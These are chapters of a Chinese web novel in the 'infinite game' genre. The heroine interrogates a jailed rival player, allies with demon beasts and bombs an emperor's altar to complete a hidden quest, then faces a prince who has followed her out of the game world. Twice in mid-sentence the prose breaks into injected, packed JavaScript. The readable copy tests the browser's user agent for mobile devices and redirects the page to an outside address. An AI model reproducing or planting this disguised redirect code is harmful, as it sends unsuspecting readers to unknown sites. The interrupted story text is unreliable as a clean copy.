重的那个他记得，是这里的狱卒，一贯欺软怕硬。轻的那个不知道是谁，但估计又是哪位大人物前来劝晋王或是户部尚书的认罪的。 总之，与他无关。 偏偏那个脚步声却在他的门前停下，狱卒点头哈腰地离开，留下一个足够安静的环境给他和那位不知名的访客。 少监抬起头，看到的却不是一张脸，而是一个镂空着繁复花纹、奢华金贵的面具。 “我都成了阶下囚，阁下还遮遮掩掩不敢露出真面目？”他嗤笑着，哪怕身陷囹圄也不减傲慢。 不过这也是当然，他的傲慢不是源于他是少监，而是因为他是一个经验丰富的老玩家。 戴着面具的人没有理会他的嘲讽，平淡地说：“我怕吓到你。” 少监愣了一下，很快就从熟悉的音色中想出一个最近经常被提及的人名：“林筱？” “探花郎没和你提起我？”林筱很快从他惊讶的眼神中意识到这点，“看来你们的关系也不过如此，他甚至都不带你一起走。” 少监明知道她在挑拨离间，但依旧不可避免地被触怒：“你们早就接触过了？他逃了？” “神启教出事前就见过了，他自缢了。”林筱倒是好心情地一句句解释，“他什么都没和你说吗？” 少监的脸色变化，但很快就化为坦然：“我们之间的关系就像你看到的那样，临时搭档，打不过就自己先跑。如果你想从我这知道关于他的消息，那我只能遗憾地告诉你，没有。” “我对他的事情不感兴趣，”林筱还不至于为了这不知真假的消息去做徒劳的努力，“我想知道的，是关于游戏。你是老玩家，这做不了假吧？” “我可以说，但我能得到什么？”少监依旧尝试把握话语的主导权。 “你可以选择死亡的方式。”林筱诚心诚意地摆出条件。 这句话听上去像骂人，但也确实是他现在需要的，少监一时之间也不知道说什么才好。过了半晌，他像是终于人认清自己的状况，垂着头哑着嗓子说道：“你想问什么？” “你们是提前组队参与这一局游戏的？” “当然不是，但我们也不是第一次合作。”都到这份上了，少监也就选择了配合，“有些事只有你们新人不知道。当游戏积分累积达2000分以上时，系统就会对这部分玩家开放论坛功能。论坛里分多个板块，包括各种游戏副本的总结、玩家交流区等等。但除了这些显露在外的模块，系统专门开辟了独属于叛世者的一角。在这里，每一名叛世者都是实名交流，系统甚至为我们制作排行榜激发大家的斗争心。你们的探花郎就是榜上有名的大佬。不过据传他有一个画皮道具，可以在任何地方套上一层假身份，所以他的真名也一直无人知道。” “那他……”林筱皱眉。 少监甚至都不需要抬头就知道她想说什么：“这个道具一个世界只能使用一次，我亲眼看着他从猎户变成进士，不然我怎么确定他身份的。” 也不是说少监的话不可信，只不过有的时候他也可能被探花蒙骗过去。但林筱直觉探花郎是真的走了，所以不再纠缠于这，问出下一个她关心的问题：“副本在什么情况下会关闭？” “当有人完成隐藏任务的时候。”少监听着这个问题都觉得好笑，“系统判定会推迟几年，就会有几年这个世界副本不开放。但还有一种情况，副本使用过多，世界崩溃，这个副本也就永久不存在了。” “隐藏任务的收益和风险不成比例，甚至不如出卖道具赚得多。你该不会到现在还有一个救世主的梦吧？” 林筱能听懂少监语气中的不屑，但她问这个问题也只是想确认一点：“所以，这是一个真实的世界？” “你觉得这是代码可以敲出来的灵动吗？”少监终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我相信那一天不会晚来，这则消息就算是你陪我聊天的报酬，我很期待在论坛看到你。” 这个看到，自然不是正常的论坛，而是那个独属于叛世者的角落。 林筱冷漠地看着独自陷入狂喜的少监，没有兴趣加入其中：“过几日，我会让人带进一瓶毒药，用不用随你。” 但少监已经不再关注自己，他只是狂热地盯着林筱：“我们会再见的。” 他疯了。 林筱不再理会少监，离开了监狱。该做的事情她会做，但多余的事情，她不会做。毒药她会给，但剩下的事情就和她无关了。 又过了三天，一切都盖棺定论。 贵妃身份特殊，独自幽禁在冷宫中，甚至因为怀有身孕而不曾被亏待。不过帝王心冷，三尺白绫赏下，她终究逃不过一死。只是念在往日情分，在场的只有皇帝、晋王和两人身后的侍卫。 林筱也借机获得一个名额。 贵妃即使一袭白衣，依旧袅袅婷婷，看着皇帝的眼神充满哀求。她依旧是朵娇艳的玫瑰，可惜已经被雨水打残了花瓣，是一种残缺的即将凋零却绽放独特生命力的美。 毕竟是亲手培养的小玫瑰，太过难堪的死法他也不忍心。于是他改变了主意。 他赐了她一杯美酒，赏她一个体面的死法。 这次权力的斗争中，只有帝王才是最后的赢家。他借着户部尚书的名头带走了一批早想解决的人，重新梳理了朝廷的局势，收拢了手中的权利。 其次就是前晋王世子，如今的晋王。他是最早投靠皇帝的人，又是个病秧子，颇得帝王看重，袭了父亲的爵位成了新的晋王。 几件大事了结，帝王决定，天之巅封禅。 41. 第一个世界23 帝王一声令下，其他人员跑断腿。 封禅和之前的寻常祭祀规格不同，需要准备的东西更多，再加上时间短暂，所有人的精力都扔到上面，自然忽视了其他事情。 就比如，还在狱中等待处理的少监晋王一行人。 无人关注，就意味着防守薄弱。林筱做不到把人救走，但偷渡些药物还是可以的。 只不过她前脚刚让人把药带给了少监，后脚就被世子堵个正着。 也不对，现在不能再称呼他为世子了，该叫他晋王。 晋王看上去也不像是有正事找她的样子，抬手揪了一片叶子放在手心，任由拂过的微风将它吹走，笑看林筱：“感想如何？” 如果这句话作为作文的开题，那她只能说，能写的东西有很多。就比如她在神启教的体会，她金蝉脱壳成为一个影子存活在这世界的想法，以及亲自解决敌人的感悟。 所以林筱也看向屋外翠绿的叶片：“万事当随心。” “随心二字好。”他独拈出这两个字念叨，“那你可有不顺心之事？” 林筱也不清楚他突然那么殷勤是为了什么，但现在还不到撕破脸皮的时候，她也就老实回答：“有，很多。” 这个说法显然出乎他的预料，他挑了挑眉，带了几分好奇：“譬如？” “这张脸。”真实的想法不方便说，林筱就随意糊弄一句。总不能说，她想把他们都干掉吧。 如今京城看着安静，但那只是看着。属于人类一方的权力斗争将近落幕，而另一方还在等待。 林筱可没有忘记，在这些事件当中，还有一方至今没有表态。 妖。 不管是在他们曾经世界的传说中，还是在这个世界的记载中，妖从来都不是善茬。他们可不是能忍气吞声的家伙，就算没理都能纠缠几分，更何况这次受到了那么大的打击。 晋王也看出她心不在这，思考了一会，爽快地放她离开了：“小心点，别被其他人发现了你的身份。” “谁会在意一个无名无姓无脸的人。”林筱淡淡回了一句。 晋王想了一想，等人走了才慢慢吞吞地开口：“我啊。” 从晋王府的侧门离开，林筱来到了一座茶楼。在那里，改头换面的说书先生正在讲前几日圣人明察秋毫斩妖邪的故事，见到她也只是轻拂怀中的八哥。 八哥被莫得不耐烦，扭头看了她一眼，眼见着毫无威胁就有扭头梳理起自己的羽翼。 林筱也不急，点了一壶茶，一些点心，坐了下来静静听着。 在场的人也都是为了他而来，来听这么一场跌宕起伏的书也是众人闲暇时不可多得的乐事。 既然是茶楼的招牌，他便只在特定的时间出现。没多久就到了他的休息时间，他命人把林筱叫了进来，两人一鸟独处一个休息间。 即使见到人，他的神色也很冷淡：“找我什么事？” 他不好奇林筱为什么还活着，也想再掺和进他们的事情中。 林筱没在意他的脸色，看了眼他怀中的八哥：“他们都已经死了，你现在有什么打算？” “我能有什么打算？”说书先生感觉这句话好笑极了，“继续说书，活下去呗。” “没有别的事情要做？”林筱瞥了眼八哥，暗示的意味不能再明显。 说书先生终于明白她的意思，摇了摇头：“你找别人吧。” “说我胆小也行，但我现在只想说我的书，活到最后。以后也不必找我，我就先祝你好运。” 他的态度坚决，林筱没有强求，转身离开了茶楼。 他们之前有过融洽的合作期，现在这算是和平分手，要说难过，林筱还真没有。 说书先生在之前流言的传播中出了不少力，毕竟他的身份本来就是最好的掩饰。再加上他怀中的八哥也不是简单的动物，它能够放大人们心中对于流言的渴求，就跟户部尚书的黑猫一样，也是一只妖。 这只妖是说书先生自己找上门的，与皇帝无关。看它如今每日与说书先生到茶楼上班的样子，应当就是不被重视的寻常小妖。 寻常小妖也可以如此安逸，妖族那边怕是还没有发出针对皇帝的指令。 等她回到自己休息的地方时，送药人也带回了信息。 少监死了。在她的药送到之前，咬舌自尽。 即使林筱早有预感，但听到这则消息仍免不了一声叹息。 想要完成隐藏任务，属于玩家的阻碍已经清楚，剩下的就是皇帝、晋王、和妖。 他们几方目前都没闹出大动静，显然也都在等着封禅这个时机。 那也是她动手的最好时机。在这之前，她还需要把她的秘密武器做出来。 时间总是在忙碌中飞快流逝，不知不觉间，那个万众瞩目的日子到了。 文武百官一行人浩浩汤汤来到山腰的行宫暂且休息，等到第二日再行出发。他们身后的侍卫散落在行宫的四周，护卫这些皇朝最重要的人物的安全。 林筱也是其中之一。 她作为皇帝培养在暗处的下属，原本是没有资格参与这场盛会的。但她有晋王，在晋王暗中操作下，她成为晋王的侍卫之一，成功混入行宫。 但借着侍卫的名义进来，她就必须按照侍卫的行为规范做事。 就比如在这暮色之中，巡视这座空旷荒凉的行宫。 这座行宫是前朝遗留的宫殿，平日里有仆役打扫，但也只能说是干净。前朝奢靡，这座行宫也是按照最大规模地建造，即使他们突然入住那么多人也依旧有许多宫殿闲置。 人气不足，再加上位于深山之中，难免让人产生不好的预感。 也不知道是不是林筱的错觉，茂密的树林总给人阴森的感觉，这里不像是传闻中至高至清的福瑞之地，更像是妖邪肆虐的魔窟。 一阵夜风吹过，周边的树叶唰唰作响，尖利的呼啸仿佛穿透心灵般冷厉，就连和林筱一起执勤的侍卫都忍不住抖了一抖，颤着声音问道：“你不害怕？” 他看着人高马大，其实却是长辈塞进来蹭光的，胆子还没有小姑娘大。虽然啥都不懂，但胜在听话，和林筱分配到一组后都是她说什么做什么，从不惹事。 “害怕什么？” 就像是应和林筱说的话，林中突然就响起了一阵虎啸狼嚎。蔓延不断的呼叫像是彰显他们存在的工具，引得安静下来的宫殿纷纷点燃了烛火，摇曳的人影瞬间让行宫 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用庄重形容一只猛兽听上去就像是她的脑子被垃圾占领般不可思议，但这就是她此刻的感受。 白虎神色威严，但眼神灵动，不像寻常生物。待它站稳在狼群前，竟口吐人言：“你的身上有白狐和白狼的味道。” 狼群发出一声声嚎叫，但在头狼的示意下很快安静下来。 最后一方登场了。 林筱扭头看向身后的行宫，她没料到妖族的出现会那么光明正大，丝毫不在意行宫里面的人。 “他们不会发现我们。”白虎看出林筱的担忧，低吼道。 既然不会发现，林筱就选择实话实说：“我是遇到过它们。” 狼群再次传出骚动，一只通体雪白的母狼隐隐想要冲出阵队，又被身旁的狼群扯回。 “但它们都死了。剥皮抽筋，挂在城墙上。”林筱像是不怕死地又补充了句，“你们现在去看，应该还能看见它们。” 它们身后的林木发出羽翼扑腾和树叶掉落的声响，没一会，一只身着华丽彩翼的小鸟停留在白虎的肩头，急促鸣叫。 狼群的呼吸声更加急促，就连白虎也忍不住嚎叫。 等到它们安静下来时，白虎的声音也比之前要干脆：“人类，你想要什么？” 一个一无所求的人是不会在半夜逃离行宫，还能看见它们的。只有相信妖存在的人才能看见妖。 最后一个阵营的角色也上钩了。 林筱看着它们，没有害怕：“我们的目标是一致的。” 她摘下了面具，露出那张狰狞丑陋的脸。 “你也被他利用了？”白虎恍然大悟，“人类有句话，敌人的敌人就是朋友。只要你不背叛我们，我们就可以做朋友，我们帮你报仇。” 林筱没有否认。从某种意义上说，她的脸也的确是皇帝造成的，他们就是敌人。 “你有什么计划，我们可以配合你。”白虎配合着交出主动权，“只要他死。” 从某种意义上说，妖比人类更好应付。 “成交。” 42. 第一个世界24 等到林筱偷偷回去时，一个屋内的临时队友依旧酣眠。 她静静地坐在床上观察着他，直到天色微明才闭上眼小憩。所以她也就没发现，本该熟睡的人微微动了下眼皮。 这一天风和日丽，澄澈的天空上只有几缕如烟似雾的白云，周围的林木高大挺拔，草叶青葱，恍若仙境。 趁着阳光还不猛烈，众人向着山巅爬去。 有资格参与这场盛会的，起码得是三品以上官员和三代以内的宗室成员，可以说这些人就构成了这个王朝最核心的人员。 既是如此，安保工作那更是这场盛事的重中之重，就连陈家小姐也只能在其中充当一个不起眼的小角色。 待到吉时，仪式便正式开始。 司天监的官员候在一旁，早已准备好的巨石刻印着帝王的功绩，伫立在山巅之上。在拜祭之后，众人退到三丈之外，静候帝王。 而帝王则登上祭坛，沟通天地。 帝王位于祭坛之中，一名女官跪坐祭坛一侧奋笔疾书，一头青丝也因之前的攀爬散落。文武大臣与皇室宗亲位于祭坛之后，躬身以待。 直到目前，这场仪式依旧是顺风顺水，平稳进行。 下一步，就是献三牲以抚慰被封印的妖邪。 当初作乱的妖物就被当朝开国皇帝镇压在此处，甚至就在祭坛之下。按照史书上的说法，这是借至清至善之气消融妖物身上的至浊至恶之气。 至于效果怎么样，身为当事人的林筱再清楚不过。 祭品已经备齐，吉时将近，但突变也就在一瞬间。 蓝天突然被乌云遮蔽，林间刮起一阵妖风，本该柔软的叶片割破在场众人裸露在外的皮肤，纯白无暇的祭坛泛起红光。 彻彻底底的不祥之兆。 司天监的官员变了脸色，颤颤巍巍地跪倒在地上，额头已经磕破出血但仍未停止。祭坛之后的百官也都神色慌乱，不由地看向依然挺立于祭坛之上的帝王。 “何方妖邪作乱？”即使在封禅如此重要的时刻遇到这样的突变，皇帝依旧镇定，疾声喝道，“给朕滚出来！” 狂风呼啸，却没有任何异物出现的踪影。 “陛下，”晋王上前一步，“恐是妖物惊惶于陛下威严，这才故弄玄虚恐吓世人。” 身后是一片嘈杂声音，众人既不耻晋王此刻谄媚的言论，又隐隐羡慕他抓住了好时机，只能用此刻的不屑彰显自己的清高。 安然立于祭坛之中的帝王明知这只是好听的空话，却也免不了心情舒畅，再次低头看了眼这个很早就向他投诚的晋王世子。 病弱，听话，好操控，这也是他愿意将这个王位施舍给他的原因。他的选择果然不会有错。 “既然他们畏缩不敢出现，那将这里的树都砍了。”帝王轻描淡写地下了指令。 没有了树，风也就只是风，不管是什么妖魔鬼怪都无处隐蔽，阴谋浮现在阳光下就不足为惧。 他们带来的人很多，即使只是分出一部分人砍树依旧能很快清出一块空地。空旷没能带给人安全感，山顶上的人挤成一团，借着人群的力量抵抗狂风。 大概一炷香后，风声渐息，已经走远的侍卫却陆续发出凄厉的惨叫，让本该散去的人群再次团在一起。 一头几人高的吊睛白虎带着各色禽兽从林间走出，每一步都留下沉重的脚印。它的嘴角依旧带着还未干涸的血渍，目露凶光地看着眼前的人群。 哪怕再怕死，负责守卫的侍卫依旧形成一堵人墙挡住这些凶兽前进的道路。 在他们身后的人但凡出点事，死对于他们而言反而是种解脱。所以就算豁出命来，他们也得护住身后的人。 “何方妖孽，胆敢冒犯天子之威？”被护在身后的人人群中，一名官员鼓着勇气大声怒斥道。 回声在这空旷的山巅回响，白虎却连理都没理他，目光炯然地望着远在祭坛之上的帝王：“人皇，尔欺吾！” 人皇？ 但凡有点脑子的官员此刻都恨不得自己双耳失聪，假装从未听到过这句话。 这样的称呼，还有哪位能当得起？ 他们偷觑着祭坛上的人，熟悉的同僚抬眼间就知道彼此的想法：那位世间最尊贵的人居然与这口吐人言的妖物勾结？ 更有甚者已经有了进一步思索：如果，与妖物有勾结的是那位，那已经被处死的前户部尚书和前晋王又是怎么回事？ 一时间，他们就连看向晋王的眼神都诡异了起来。 虎毒尚不食子，这位可是为了权势能把自己父亲都双手献上的狠人啊。 “妖言惑众。”哪怕当面被质疑，皇帝依旧不紧不慢地驳斥道，也是在敲打在场的所有人。 几乎就在帝王发话的下一刻，所有人都低眉颔首，以示自己的臣服之心。 “你们人类果真擅长背信弃义。”白虎抖了抖耳朵，看着眼前的人群如同难以入眼的腌臜之物，厌恶地低吼一声。 随着它的吼声出现的，是更多的动物，密密麻麻如潮涌般占领了整个山巅，包围了他们。 它们是妖，所以可以悄无声息地出现，暗中设下埋伏。所以人类，毫无所觉。 但也不是真的毫无所觉。 “臣愿为陛下效犬马之劳。”晋王更近了一步，向着祭坛上的帝王表衷心。 帝王微微动容，为这个不论任何境地依旧会站在他这边的臣子。他抬起手：“朕……” “陛下，不要信他！”尖锐到破音的男声突然响起，众人让开一条道，露出面容还稚嫩的男孩。 是昨晚和林筱一同巡查的男孩。 他顾不上父亲在一旁皱起的眉头，红着脸，鼓足勇气道：“晋王才是与妖物里应外合的人奸。我昨晚看见他的侍卫偷偷逃出行宫，在林间隐没了踪迹。肯定是在与妖邪商讨今日围困之计！” “就是她！” 他手指的，就是晋王身后那个带着面具的女子。 众人对她也有印象。毕竟带着面具的人行走的本就罕见，前不久刚了结了一个神启教的主事人，如今晋王身边出现一个，引来的争议必不可少。 但大家也没想到，晋王的胆子会那么大。 “臣对陛下，绝无二心。”临场被指责，晋王也依旧不慌不忙，甚至随手拔出一旁侍卫的剑，在众人的惊恐中刺向林筱。 剑被打偏了，但不是林筱做的，而是一只不知何时飞入人群的小鸟。 平日里不起眼的生物在此刻都有了别样的意义。哪怕那是一只他们随手就能捏死的生物，也都让这些曾经高高在上的人面露惶恐之色。 “还说没有！”男孩大喊，就像急切想要长辈认同的孩子般看向四周的人，满眼渴求地说道，“你们看，那些妖邪在救她！” 但周围的人没有应和，低着头面无表情，男孩的焦急就是此刻最好的笑话。 有没有二心，他们说了不算，只有那位才知道。 帝王看着跪在地上的晋王，蹲下身扶起他：“我知道爱卿绝无二心，那不过是奸人挑拨而已。” 林筱立于一旁漠然无声，只留下男孩僵在原处，满脸的不可置信。 在场的人都知道皇帝与妖物必然有联系，晋王在其中也是受了皇帝指令。但他们不说，只做不知，唯一说出的人反倒是还没看清的孩子。如今陛下选择保住晋王，那陛下说的，就是真理。 晋王并无二心。 白虎欣然看着人类内讧：“人类果然是低劣的种族，充满谎言与欺骗。” 人们的视线也从同族转移到这些异类身上，他们握紧自己的武器，将刀锋对准这些强大的异族。 虽然这个场面看着剑拔弩张，但林筱却觉得这样不对。 哪里都不对。 如果只是这么简单的两族对抗，系统为什么会把他们投放到这个世界？就连新手世界都即将灭亡，这个世界又怎么会那么和平？ 有人，有种族，藏了暗手。 以白虎为首的凶兽实力强悍，但人类这一方却有工具的便捷。一方人在前面抵挡猛兽的突进，后方的皇帝继续还未完成的仪式。 这关键点，就在于仪式。 从之前的经历看，皇帝是个野心家。野心家不会让自己好不容易建立的帝国毁灭，所以完成封禅仪式可以将妖族封印。 从结果倒推，这场仪式没有成功。 再忽略他们这些外来者的影响，这就代表妖族隐藏着他们所不知道的实力。 就在白虎被阻拦之时，祭祀在司天监的主持下得以继续。祭坛四周不详的红光被隐隐压制，就连妖族本刀枪不入的皮毛也逐渐出现伤口。 它们果然是有关联的。 眼看着再不行动妖族就要彻底落于下风，白虎一声长啸，双眸鲜红如染血，四蹄踏地掀起阵阵尘烟，本就庞大的身躯更是大了几分。 但这些都不是重点，重点在于之前还合作抗敌的一部分人突然将刀剑转向自己的同胞，无情地攻击起来。 随着时间的推移，这些人身上也出现了动物的象征。 就像晋王府的那名管事。 这一回，林筱知道问题出在哪了。 就像那本册子上说的，自从皇帝答应和妖合作后，这个人世就 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在这个时候，也是妖族反扑最厉害的时候。只要占领祭坛，这个世界的主次就会反转，他们妖就会成为世界的主人。 所以，它们远比人类要疯狂。 在它们舍弃自我的袭击下，战线逐渐皇帝，而仪式也只剩下最后一步。 “林筱！” 白虎在后方大吼，但祭坛上的面具人依旧挡在帝王身前，无动于衷。 随着帝王的三拜，妖族落在人身上的攻击减弱，它们的体型也逐渐缩小，与寻常生物无异。 显然，这一场劫难算是过去了。 “等回去之后，朕就下令不许豢养宠物。”帝皇直起身，转身对着一直守在他身边的人亲昵道，“时宴，这天下也只有你才是朕……” 乌云不知在何时散去，阳光折射在匕首之上，耀眼的光斑晃得帝皇一怔。 在这最后时刻，晋王竟然选择了刺杀皇帝。 然而他身边的面具人一枪将匕首挑飞，腾挪间立于皇帝身前，冷漠的眼神透过面具刺向晋王。 晋王愣了一下，皱眉：“你不是林筱。” 面具人没有回话，长枪指向晋王，试图将这个欺君罔上之辈斩杀当场。 祭坛上的侍卫也分为两派，一方守卫帝王，一方为晋王谋取机会。 白虎奄奄一息地被捆绑在地上，抬到祭坛附近，刚抬头就看见方才还齐心协力的人族再次内斗，不由开心地在喉间发出咕噜声。 它说不了人话，但看见敌人难过，它就是开心。 终于，晋王掀开了那张面具，露出底下熟悉的脸。 “陈小将军？” 冒名顶替林筱的，正是陈家小姐。 她被揭穿了身份也面不改色，手中长枪灵动，每一击都是奔着晋王的命而去。 那林筱在哪里？ 这是晋王、白虎在这一瞬间都冉起的念头。 林筱，自然不会错过这场盛世。 她的隐藏职业可是记录者，哪怕是为了所剩不多的职业操守，她也会坚持完成这最后一份工作，然后带给这个世界一个惊喜。 被忽视却一直存在的女宫在祭坛一侧站起身，露出被长发遮掩的狰狞面目。她看着众人，崎岖的脸上浮现一个平静的笑容。 平静得诡异。 陈家小姐下意识觉得不妙，她一□□中走神的晋王限制他的行动，随后连人带枪扔到一边，快速地向着林筱奔去。 然而一切都已经来不及了。 她只能看见林筱点燃火折子，随后一声巨响，地动山摇。 她看见晋王拖着负伤的身体来到林筱身边，拽住她，共赴黄泉。 她看见白虎一脸惊讶，嘴巴张张合合像是在骂着很脏的话。 她看见她效忠的帝王长叹一声，遥遥指着一名宗室成员选定下一位继承人。 她也看见林筱的脸上没有对死亡的恐惧，平淡得不像这个世间的人。 所以林筱，到底是什么人？ 林筱是什么人，或许连她自己也不清楚她现在到底还算不算是人。不过这一次她长了记性，哪怕撑住最后一口气，她也要等到听完系统的播报音后才去死。 其实如果不是晋王拖住了她，她本可以更安全地等到最后一刻。但现在受晋王的连累，她只能卡着时间预估自己剩下的旅程。 十，九，八，七…… ［恭喜玩家完成副本妖祸之都，系统评分结算中……玩家意识确认存在，游戏登出……］ 终于结束了。 林筱放任自己陷入黑暗中，等待再一次的清醒。 43. 备考室 还是熟悉的图书馆，熟悉的寂静…… ？ 不知道在何处发出的翻书声让林筱顿时警觉起来，但这里是系统为她准备的备考室，其他人不应该也不可能出现在这里。 除非系统决定违背它运行的规则。 她从书桌的椅上起身，循着声音向前走了几步，一眼就看到了正翻着一本薄薄书册的晋王。 他穿着一身破破烂烂的礼服，是那日封禅仪式上的着装，被炮火袭击的衣袖只剩下胳膊以上的半截，露出白花花却又能看见肌肉线条起伏的手臂。 她眨了眨眼，确认不是自己大脑出现幻觉，也不是眼睛突然失常，顿时警惕地看着他。 晋王，一个副本的土著，怎么会出现在她的备考室，而且还是这样的打扮？ 倒是晋王依旧镇定地和她打招呼，哪怕看着就像是乞讨回来还跌进水坑的狼狈模样，却也掩藏不了谦和端方模样：“你终于醒了。我看你趴在那边休息，就没打扰你。很抱歉没有经过你的同意就动了你的书，下次我会注意的。” 该说晋王不愧是出身皇室的狠人吗？他看着也不像是失忆的模样，那他就应该清楚，在他还有记忆的前一秒，是她要将他们一网打尽，全部葬送在祭坛上。就算这样，他居然还能对她露出笑容态度可亲。 “你怎么在这？”林筱不在乎他的态度，她只想知道一点：他为什么会出现在她的备考室。 “这不是应该问你吗？”晋王一脸无辜，“我可是被你们外乡人带到这个世界的。” 外乡人？这个称呼就意味着，晋王一直都知道她，甚至可能包括探花郎少监他们，都不是他们世界的人。 看到林筱没有说话，只是用一种打量的目光审视他，晋王叹了一口气，合上手中薄薄的册子：“我只是更善于观察而已。事实上，我对这里一无所知。” 对晋王的话，林筱持保留态度。 她的确完成了上个世界的隐藏任务，但她也必须承认，晋王不是一个好对付的人。他在他们的任务要求中甚至不配有姓名，但就是那么一个人差点让他们全军覆灭。 他给她的信息的确是真实的，但也都不全面。 那个世界的幕后推手是皇帝不假，但妖也不是单纯的角色。更准确说，是二者狼狈为奸。 从她获得的职业可以猜到，她所阅读的资料应该算是另一个世界发展的记载。所以，她看到的东西才是真实。 那也就代表，妖是从当朝开国的那个时期开始出现，从信仰与恐惧中诞生。但这次的出现还没来得及发展，就又被一场封印压制了所有的蠢蠢欲动。 直到如今这个皇帝。 他自负又多疑，追寻着古籍找到妖的存在后，正式开启了这个世界的倒计时。 所以这一切，始于皇帝与妖族的王白虎的一次合作。 是他将这个世界放开给妖族，给了它们肆意生长的环境，只为了满足自己的私欲。 但这其中，谁也不知道这位晋王起了什么推波助澜的作用。 “不用对我那么谨慎，”晋王逐渐靠近林筱，“我现在在你们的地盘上，不是吗？” “如果你能放下手中的刀，你的话才有那么几分可信。”林筱看着他藏在衣袖的手，没有给他留任何面子，“倒不如先聊聊你是怎么混进这里的。” 晋王前进的步伐顿了一下，他自然而然地从袖筒内掏出一把匕首放在一旁的桌子上，毫不介意自己的伪装被拆穿般继续无辜地看着她：“虽然我是很想知道这里，可这不代表我想来这里。在这件事上，筱筱，你的确误解我了。“ 同样的昵称，从林洛口中是亲昵，从晋王口中却黏腻得像是蜜糖制作的陷阱，一旦靠近就会落入死亡的深渊。 实在是做作。 [恭喜玩家结束关卡妖祸之都。] 系统永远都会在猝不及防间出现，仿佛它的程序设定就是永远不允许给人营造良好的交流氛围一样。 林筱已经习惯它的存在，但晋王依旧一脸惊异。他四处打量着除了书架没有其他东西的空间，甚至敲击墙壁试图找出不存在的暗室，最终才确定这里除了他们没有第三个人。 “这是你们信奉的神？”他好奇地询问，肯定地点了点头，“果然是有些神异在。” “别恶心我。”林筱打断他不合时宜的胡思乱想，“那是我的敌人，也可能会是你的。” 敌人？一个有意思的称呼。 晋王抬头看向那个不存在实体的存在，试探着打招呼：“你好？” [玩家本次游戏成绩已结算： 职业选择：65分，入职考试：75分，在岗表现：45分。 游戏成绩百分制，60分及以上为合格。 凡各科目有一项不合格者，总体成绩视为不合格。玩家在岗表现一门不合格，基础成绩不合格。] [玩家触发隐藏职业与任务，任务完成度：100%。 玩家触发隐藏职业成功。] [综合以上两项成绩，玩家本次测试成绩优异，保留两次游戏机会，给予玩家本次游戏奖励：积分×500。] ［玩家如有异议，慎重考虑后可向系统申请成绩复核。］ 500积分，看来隐藏任务果然还是值钱的。比起扣扣搜搜的新手世界，她距离离开又迈出了一大步。 但同样的话在不同的人耳中是不一样的效果。至少在晋王耳中，他所了解到的是，这些外乡人把他们的世界当成游戏。 他可以玩弄世界，但他的故乡不容外人侵犯。 他低着头，林筱没有注意他，自然不会发现他突然冷冽的目光。 [请问玩家是否观看该世界结局？]系统突然良心大发，甚至还体贴地补充一句，[本次观看积分只需要100。] 100积分就不需要说只了。“之前不是只需要1积分吗？” 通货膨胀也不是这么一个膨胀的速度。 [玩家支付积分随玩家总积分按比例波动。观看世界结局所需积分下限为1积分，上限为100积分。]系统对于质疑它公正性的问题总可以回复得很快，[请不要质疑系统。] 果然恶心的系统总会有无数恶心人的想法。按照这个支付方式，再有钱的玩家积分也经不得花，甚至可以说低级玩家和高级玩家在某种水平上位于同一跑线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073098|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 从某种层面上讲，系统的确保证了公平。 “不需要。”林筱果断拒绝。 那个世界的未来还有什么好说的，不就是死了一个皇帝之后会陷入混乱，但混乱之后又会有了新的太平盛世。 就像历史书上记载的那样，分分合合，直到新时代的到来。 [查看世界结局时，玩家有几率获得NPC赠送的游戏道具。赠送概率与NPC对玩家的好感正相关。]系统不死心地提醒道。 “你觉得那个世界还活着的人中还有人会对我有好感吗？”林筱对系统的提醒嗤之以鼻。 和她有关联的人，皇帝死了，晋王在这里，其余就是没什么联系的同僚和有了联系也没用的玩家。 还有一个被她利用的陈家姑娘。 当初在陈家小姐讨伐神启教时，她利用陈家小姐送的手帕光明正大地与她接上头，共同敲定了祭祀当日的计划。 只不过陈家小姐以为自己是在保护帝皇，铲除帝皇身边意图不轨的野心家，却没想到林筱的目的只是为了让她吸引其他人的注意，好让她自己的炸祭坛计划得以成功。 从保护者变成谋害者的同谋，陈家小姐不把她撕碎已经算好的了，怎么可能会送她什么好道具。 她可是还记得那张现行符，道具也不一定都是好东西。带着怨气的道具，还有可能反噬主人。 玩家油盐不进，系统也不能强迫她购买，只能生硬地进行下一步：[玩家想知道这个世界原本的结局吗？] "不想。“林筱再次没有出乎系统的预料回答道。 她如果想要知道本来的结局，不需要询问系统，问一下她身边的人也可以猜测出一二。 就像她之前说的，这一切源于皇帝与妖王的互相利用。 高高在上的人皇以为把一切都掌握在手心，但来自另一个世界的妖远没有他想象的好对付。利用宠物，妖将自己的存在扩散到整个国家，默默地取而代之。 如果没有林筱的插手，晋王世子应该还是能变成晋王，只不过就没有那么顺利。帝皇依旧会封禅，然后在那场盛会被白虎吞噬，妖占领祭坛，世界秩序紊乱。 所以在那个世界想要活下去，就要找到一个远离动物的地方藏起来，直到游戏结束。 先不提这样的地方存不存在，但光看说书先生主动找了只妖的行为也可以看出，他肯定没活到游戏结束。 [恭喜玩家获得游戏道具：系统通关秘籍。 系统通关秘籍：来自系统的护身符，在必要时刻可减少游戏次数的损耗，居家必备良品，游戏人生中必不可缺的珍惜品。剩余使用次数1/1。 恭喜玩家成功使用道具：影子娃娃。 影子娃娃（姜时宴）：7号世界人物林洛所赠，已绑定56号世界人物姜时宴。剩余使用次数0/1，耐久度100/100。] 林筱猛然与晋王对视。 她突然回忆起在最后时刻，晋王死活要拉着她一起，所以就在那个时候，来自晋王的心头血滴落在她的玩偶身上，完成了绑定。 “这可是您自己送上门的啊，晋王殿下。”林筱由衷道。 44. 第二个世界1 